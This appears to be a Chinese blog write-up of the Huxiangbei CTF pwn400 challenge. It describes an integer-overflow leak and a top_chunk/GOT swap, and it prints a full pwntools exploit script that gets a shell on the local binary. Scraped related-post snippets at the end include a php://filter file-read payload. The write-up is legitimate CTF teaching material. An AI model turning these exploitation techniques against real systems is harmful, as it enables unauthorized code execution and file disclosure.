湖湘杯pwn400的wp
湖湘杯的pwn比賽很有趣,我做了pwn300的題目,感覺不錯,我把wp分享出來,pwns的下載連結是: http://download.csdn.net/download/niexinming/10152069
把pwn400直接拖入ida中:
main函式:
Create Profile函式:
Print Profile函式:
Update Profile函式:
Exchange函式:
這個題目有點難度,我花了三天才搞定,題目的流程不難,首先建立Profile,當名字的長度小於8的時候會把資料寫入bss段,資料的長度值nbytes會放入資料的後面,大於8的時候會malloc一個空間,把輸入寫入堆中,而指標會儲存在bss段,而資料的長度值nbytes也會儲存在指標的後面,更新Profile的時候也會做相同的操作,列印資料的時候會把名字輸出,可以用這個功能洩露程式任意地址的任意資料,Exchange可以交換兩個地址的資料,可以利用這個來getshell
先執行一下程式看一下這個程式幹了啥:
再看看程式開啟了哪些保護:
看到這個程式開了棧不可執行,於是肯定就會想到用rop來做
這個程式有兩個地方可以利用:
(1)是建立的Profile,名字長度如果小於8就把資料寫入bss段中,但是你可以輸入負數,如果是負數的話,就可以造成整數溢位,你就可以在bss段中寫入任意長度的資料,就可以覆蓋後面的長度值nbytes為任意數值,這樣你可以偽造一個任意長度的資料,在print函式中可以看到如果nbytes長度小於8就去讀bss中的資料,如果nbytes大於8就會去讀bss中的指標指向的資料,如果我們偽造nbytes的話就可以讓print Profile函式去讀任意地址的資料,通過got表可以計算出libc的基地址
(2)是Exchange函式可以交換任意兩個指標,但是兩個指標都是要有寫許可權的,程式中許可權可以通過vmmap來檢視
這個地方是難點,解決方法是:用top_chunk 指標和[email protected]指標進行交換,第二次堆分
配時候可以分配到我想要的位置,就可以把想要資料寫入[email protected]中,當下回撥用read的時候就可以跳到MAGIC中getshell了,關於top_chunk的介紹可以參考https://www.cnblogs.com/alisecurity/p/5486458.html,找top_chunk地址的思路可以參考 http://www.freebuf.com/articles/rookie/155971.html 這個文章
我的exp
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'niexinming'
from pwn import *
import binascii
context(terminal = ['gnome-terminal', '-x', 'sh', '-c'], arch = 'i386', os = 'linux', log_level = 'debug')
localMAGIC=0x5fbc6
localmain_arena=0x001B2780
def debug(addr = '0x08048BA6'):
raw_input('debug:')
gdb.attach(io, "b *" + addr)
def base_addr(prog_addr,sysmbol,offset):
if sysmbol=='min':
return eval(prog_addr)-offset
else:
return eval(prog_addr) + offset
def cr_up_profile(choose,name_len,name,age):
io.recvuntil('>')
io.send(choose)
io.recv()
io.sendline(name_len)
io.recvuntil('Input your name:\n')
io.sendline(name)
io.recvuntil('Input your age:\n')
io.sendline(age)
def print_profile(address):
io.recvuntil(">")
io.sendline('2')
data = io.recv().splitlines()[0][11:15][::-1]
log.info("%#x => %s" % (address, (data or '').encode('hex')))
return data
def change_age(address1,address2):
io.sendline('4')
io.recvuntil('Person 1:')
io.send(p32(address1))
io.recvuntil('Person 2:')
io.send(p32(address2))
def leak(address):
payload = p32(address) + 'a' * 4 + p32(10)
cr_up_profile('3','-10',payload,'10')
return print_profile(address)
def getshell(address1,address2,address3):
change_age(address1,address2)
cr_up_profile('3','20',address3,'20')
#libc addr
libc=ELF('/lib/i386-linux-gnu/libc.so.6')
symbols = ['environ', '_environ', '__environ']
for symbol in symbols:
environ = libc.symbols[symbol]
print "environ:"+hex(environ)
head=libc.symbols['__curbrk']
print "head:"+hex(head)
system=libc.symbols['system']
print "system:"+hex(system)
__malloc_hook=libc.got['__malloc_hook']
print "__malloc_hook:"+hex(__malloc_hook)
#profile addr
elf = ELF('/home/h11p/hackme/huxiangbei/profile')
printf_addr=elf.got['printf']
puts_addr=elf.got['puts']
atoi_addr=elf.got['atoi']
malloc_addr=elf.got['malloc']
__isoc99_scanf_addr=elf.got['__isoc99_scanf']
read_addr=elf.got['read']
print "printf_addr:"+hex(printf_addr)
print "puts_addr:"+hex(puts_addr)
print "atoi_addr:"+hex(atoi_addr)
print "malloc_addr:"+hex(malloc_addr)
print "__isoc99_scanf_addr:"+hex(__isoc99_scanf_addr)
print "read_addr:"+hex(read_addr)
io = process('/home/h11p/hackme/huxiangbei/profile')
#debug()
#create profile
cr_up_profile('1','10','a'*8,'1'*12)
#leak libc base
libc_base=base_addr("0x"+binascii.b2a_hex(leak(printf_addr)),'min',0x49670) #0x49670
#get libc func addr
print "libc_base:"+hex(libc_base)
MAGIC_addr=libc_base+localMAGIC
print "MAGIC_addr:"+hex(MAGIC_addr)
environ_addr=libc_base+environ
print "environ_addr:"+hex(environ_addr)
head_addr=libc_base+head
print "head_addr:"+hex(head_addr)
main_arena_addr=libc_base+localmain_arena
print "main_arena_addr:"+hex(main_arena_addr)
topchunk=main_arena_addr+0x30
print "topchunk:"+hex(topchunk)
system_addr=libc_base+system
print "system_addr:"+hex(system_addr)
__malloc_hook_addr=libc_base+__malloc_hook
print "__malloc_hook_addr:"+hex(__malloc_hook_addr)
'''
libc_start_main=base_addr("0x"+binascii.b2a_hex(leak(environ_addr)),'min',0xa0)
print "libc_start_main:"+hex(libc_start_main)
head_addr_input=base_addr('0x'+binascii.b2a_hex(leak(head_addr+1))+'00','min',0x20fe8)
print "head_addr_input:"+hex(head_addr_input)
'''
#getshell
getshell(topchunk-0xc,0x0804B004-0x8,'a'*8+p32(MAGIC_addr))
io.interactive()
io.close()
相關推薦
2017湖湘杯Writeup
andro apktool lte .html 數據 任務 tex 分析 打開 RE部分 0x01 Re4newer 解題思路: Step1:die打開,發現有upx殼。 Step2:脫殼,執行upx -d 文件名即可。 Step3:IDA打開,shift+F1
Bugku Writeup —檔案上傳2(湖湘杯)
我們先來看下題目,題目說明是檔案上傳 我們可以嘗試通過構造payload來進行測試 php://filter/read=convert.base64-encode/resource=flag 獲取到flag,之後進行解碼,得到真正的flag 總結: 題目考察的是檔案包含漏洞。
Bugku Writeup —文件上傳2(湖湘杯)
16px 文件 分享 size 如果 小夥伴 ase write 解碼 我們先來看下題目,題目說明是文件上傳 我們可以嘗試通過構造payload來進行測試 php://filter/read=convert.base64-encode/resource=fla
2018/11/19-湖湘杯Re-Common Crypto
Common Crypto 題目連結:https://pan.baidu.com/s/1NMXHOyu8F6YzbjDx84I2eg 提取碼:qt6u 首先要求輸入32個字元,然後接著兩個函式的是對輸入的前16位進行aes加密。 在第一個函式是
2018/11/19-湖湘杯Re-Replace
Replace 題目連結:https://pan.baidu.com/s/1kASjMHQYrQsHCYPEAIyk9w 提取碼:f5j9 我們首先用IDA開啟,發現沒有多少東西,可以猜到是加了殼的。 使用Peid進行查殼,發現是UPX殼。 Up
CTF 湖湘杯 2018 WriteUp (部分)
湖湘杯 2018 WriteUp (部分),歡迎轉載,轉載請註明出處! 1、 CodeCheck(WEB) 測試admin ‘ or ‘1’=’1’# ,php報錯。點選登入框下面的滾動通知,URL中有id=b3FCRU5iOU9IemZYc1JQSkY0WG5JZz09,想到注入,但是不管輸
2018/11/26-湖湘杯-Replace
題目連結:https://pan.baidu.com/s/1PNNAo2Ive4K7eYEifVIwsQ 提取碼:8b2v 用Exeinfo PE查殼發現是UPX殼 使用UPX-3.95(可以在吾愛破解Tools->Packers可以下到)的upx -d 命令脫殼 然後我們在IDA裡找到
湖湘杯-hxb2018-writeup
No pwn_No re_No_crypto 1、 code_check 解題思路、相關程式碼和Flag截圖: 連結:http://47.107.107.94:49882/login.php 目錄掃描得到list.php原始碼,發現id引數是一個加密的引數,通過
2017湖湘杯pwn200_wp_格式化字串漏洞
本文是格式化字串漏洞的利用,題目為2017年湖湘杯pwn200,題目檔案 0x0001 看檔案型別為elf檔案,用 binwalk 檢視一下: 一個32位的檔案,用IDA看看: main函式: sub_80485CD(): 這裡可以大致知道這個程式
湖湘杯pwn400的wp
湖湘杯的pwn比賽很有趣,我做了pwn300的題目,感覺不錯,我把wp分享出來,pwns的下載連結是: http://download.csdn.net/download/niexinming/10152069 把pwn400直接拖入ida中: main函
杭州IC重磅! 2018“青山湖杯”微納智造創新挑戰賽報名開始
眾所周知,大到關乎國防安全的軍事裝備、雷達衛星,中到作為基礎設施的網際網路、資料中心,小到生活中常用的汽車、手機,都離不開以積體電路(IC)為核心的微納器件,而工業企業向高附加值邁進,也離不開智慧製造系統的助推和智慧終端市場的拉動。 西湖以西二十多公里,浙江杭州青山湖科技城作為浙江省委省
藍橋杯——算法訓練之乘積最大
算法 char 朋友 題意 man time space margin family 問題描寫敘述 今年是國際數學聯盟確定的“2000——世界數學年”,又恰逢我國著名數學家華羅庚先生誕辰90周年。在華羅庚先生的家鄉江蘇金壇,組織了一場別開生面的數學智力競賽的活動
聖杯布局and雙飛翼布局
content 尺寸 元素 不一定 oot alt ctype 間距 mar *聖杯布局 <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <ti
藍橋杯實例之開發板特點
單片機 以及 三種 one size 分享 總結 為什麽 實驗 本人之前參加了藍橋杯,下面我將總結一下我的經歷,由於本人技能有限,請多見諒! 我之前用過幾種51的板子,說說藍橋杯的板子: 首先開發板設置了三種芯片的插座,說實話,我估計設計者是出於性價比高的考慮,如果
小朋友排隊--第五屆藍橋杯
code als ann 沒有 clas art 相對 pri rgs 第一種,直接思考的方法,不知對不正確: /* * 標題:小朋友排隊 n 個小朋友站成一排。如今要把他們按身高從低到高的順序排列,可是每次僅僅能交換位置相鄰的兩個小朋友。 每一個小朋友都有一個
雙飛翼布局和聖杯布局解析
出現 解釋 它的 詳細 部分 style image 簡單 延伸 今天突然想起了溫習一下css布局。之前看雙飛翼布局只是粗略的看了一下,大概明白怎麽做,但是並沒有去延伸一下...還有它的孿生兄弟:聖杯布局。今天仔細的琢磨了一下;突然發現其實內容還不少的樣子。 雙飛翼布局或者
藍橋杯 - 連號區間數
clu rmq template 最大 時間 最大值和最小值 所有 mes button 歷屆試題 連號區間數 時間限制:1.0s 內存限制:256.0MB 錦囊1 並查集。 錦囊2 從左到右掃描數組,將所有掃描到的數放到並查集中,將相鄰的數
第四屆(13年)藍橋杯java B組決賽真題
pla 標題 boolean pub for ide 真題 code one 1、標題:猜燈謎(填空) A 村的元宵節燈會上有一迷題: 請猜謎 * 請猜謎 = 請邊賞燈邊猜 小明想,一定是每個漢字代表一個數字,不同的漢字代表不同的數字。
算法筆記_204:第四屆藍橋杯軟件類決賽真題(Java語言C組)
系統 主類 文字 新節點 origin pack log 破壞 src 目錄 1 好好學習 2 埃及分數 3 金蟬素數 4 橫向打印二叉樹 5 危險系數 6 公式求值 1 好好學習 湯姆跟爺爺來中國旅遊。一天,他幫助中國的小朋友貼標語。他負責貼的標語是分別寫在四
算法筆記_206:第五屆藍橋杯軟件類決賽真題(Java語言A組)
理論 cnblogs 條件 font 9.png 生成 true 突變 幻方 目錄 1 海盜分金幣 2 六角幻方 3 格子放雞蛋 4 排列序數 5 冪一矩陣 6 供水設施 1 海盜分金幣 有5個海盜,相約進行一次帆船比賽。 比賽中天氣發生突變,他們被沖